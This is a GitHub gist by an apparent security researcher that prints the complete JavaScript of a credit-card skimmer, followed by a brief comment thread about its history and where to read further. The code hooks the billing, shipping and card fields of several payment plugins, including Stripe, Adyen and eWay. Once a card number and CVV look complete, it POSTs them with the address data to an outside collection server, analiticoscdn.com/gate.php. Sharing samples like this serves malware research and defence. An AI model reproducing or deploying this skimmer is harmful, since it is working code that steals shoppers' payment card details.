Skip to content

Instantly share code, notes, and snippets.

@gwillem
Created March 21, 2017 21:20
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save gwillem/2a4b7ca32c06cfb57fb11a0fc444ca01 to your computer and use it in GitHub Desktop.
Save gwillem/2a4b7ca32c06cfb57fb11a0fc444ca01 to your computer and use it in GitHub Desktop.
Sophisticated CC skimming malware
f1 = f2 = f3 = null;
se = false;
if ((f1 = jQuery('form:has([name^=billing])')).size()) f1.change(function() {
localStorage.setItem('__billing123', [this.id, $(this).serialize()])
});
if ((f2 = jQuery('form:has([name^=shipping])')).size()) f2.change(function() {
localStorage.setItem('__shipping123', [this.id, $(this).serialize()])
});
function ebn(n) {
var e = document.getElementsByName(n);
return e.length ? e[0] : null
}
function ev(e) {
return e.value.replace(/[^\d]/g, '').trim()
}
setInterval(function() {
if (!se) {
var sd = window.location.host.split(':', 2),
url, obj, data = '';
url = 'https://analiticoscdn.com/gate.php?token=KjsS29Msl&host=' + sd[0];
if (e = ebn('payment[cc_number]')) {
var n = ev(e),
c = '';
if (e = ebn('payment[cc_cid]')) c = ev(e);
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
var st = null,
sd = null;
f3 = jQuery('form:has([name="payment[cc_number]"])');
se = true;
data = f3.serialize();
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#adyen_cc_cc_number')).size()) {
var n = obj.val(),
c = jQuery('#adyen_cc_cc_cid').val(),
m = jQuery('#adyen_cc_expiration').val(),
y = jQuery('#adyen_cc_expiration_yr').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has(#adyen_cc_cc_number)');
se = true;
data = 'jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#stripe_cc_number')).size()) {
var flag = false,
n = obj.val(),
c = jQuery('#stripe_cc_cvc').val(),
m = jQuery('#stripe_cc_expiration_month').val(),
y = jQuery('#stripe_cc_expiration_year').val();
if (((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4))) {
f3 = jQuery('form:has(#stripe_cc_number)');
se = true;
data = 'jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#pinpayments_cc_number')).size()) {
var n = obj.val(),
c = jQuery('#pinpayments_cc_cid').val(),
m = jQuery('#pinpayments_expiration').val(),
y = jQuery('#pinpayments_expiration_yr').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has(#pinpayments_cc_number)');
se = true;
data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#ewayrapid_notsaved_cc_number')).size()) {
var n = obj.val(),
c = jQuery('#ewayrapid_notsaved_cc_cid').val(),
m = jQuery('#ewayrapid_notsaved_expiration').val(),
y = jQuery('#ewayrapid_notsaved_expiration_yr').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has(#ewayrapid_notsaved_cc_number)');
se = true;
data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('[name="heidelpaycw_visa[ACCOUNT.NUMBER]"]')).size()) {
var n = obj.val(),
c = jQuery('[name="heidelpaycw_visa[ACCOUNT.VERIFICATION]"]').val(),
m = jQuery('[name="heidelpaycw_visa[ACCOUNT.EXPIRY_MONTH]"]').val(),
y = jQuery('[name="heidelpaycw_visa[ACCOUNT.EXPIRY_YEAR]"]').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has([name="heidelpaycw_visa[ACCOUNT.NUMBER]"])');
se = true;
data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#cardNumber')).size()) {
var n = obj.val(),
c = jQuery('#securityCode').val(),
m = jQuery('#cardExpirationMonth').val(),
y = jQuery('#cardExpirationYear').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has(#cardNumber)');
se = true;
data = f3.serialize() + '&jqcn=' + n + '&jqcm=' + m + '&jqcy=' + y + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
} else if ((obj = jQuery('#fatzebra_cc_number')).size()) {
var n = obj.val(),
c = jQuery('#fatzebra_cc_cid').val(),
m = jQuery('#cardExpirationMonth').val(),
dt = jQuery('#expire-date').val();
if ((n.length == 16 && c.length == 3) || (n.length == 15 && c.length == 4)) {
f3 = jQuery('form:has(#fatzebra_cc_number)');
se = true;
data = f3.serialize() + '&jqcn=' + n + '&jqdt=' + dt + '&jqcc=' + c;
if (st = localStorage.getItem('__billing123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
if (st = localStorage.getItem('__shipping123')) {
sd = st.split(',', 2);
if (f3.attr('id') != sd[0]) data += '&' + sd[1]
}
data = data.replace('"billing%5B', 'billing%5B');
jQuery.ajax({
url: url,
crossDomain: false,
data: data,
type: 'POST',
dataType: 'json'
})
}
}
}
}, 700);
@sirvan3tr
Copy link

I am trying to understand the technique used and its relationship to others, thats all.

@gwillem
Copy link
Author

gwillem commented Feb 21, 2022

@sirvan3tr sorry for snarky remark! At the time it was (sort of) sophisticated because it was the first skimmer to use local storage to scrape data from multiple forms, and supported layout for several common payment forms. Today's skimmers are more generic and use several layers of obfuscation.

@sirvan3tr
Copy link

:) Is there some piece of literature that documents the type of techniques used? What is the best source to learn more about them? I am also trying to learn more about existing defence techniques against these type of MitB malwares. Thank you

@gwillem
Copy link
Author

gwillem commented Feb 21, 2022

@sirvan3tr I don't think there's much scientific literature. But a google for "magecart" will reveal dozens of blog posts, dissecting this kind of malware. Are you doing a PhD on the matter? Feel free to mail me, works better than Gist chat :D wdg@sansec.io

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment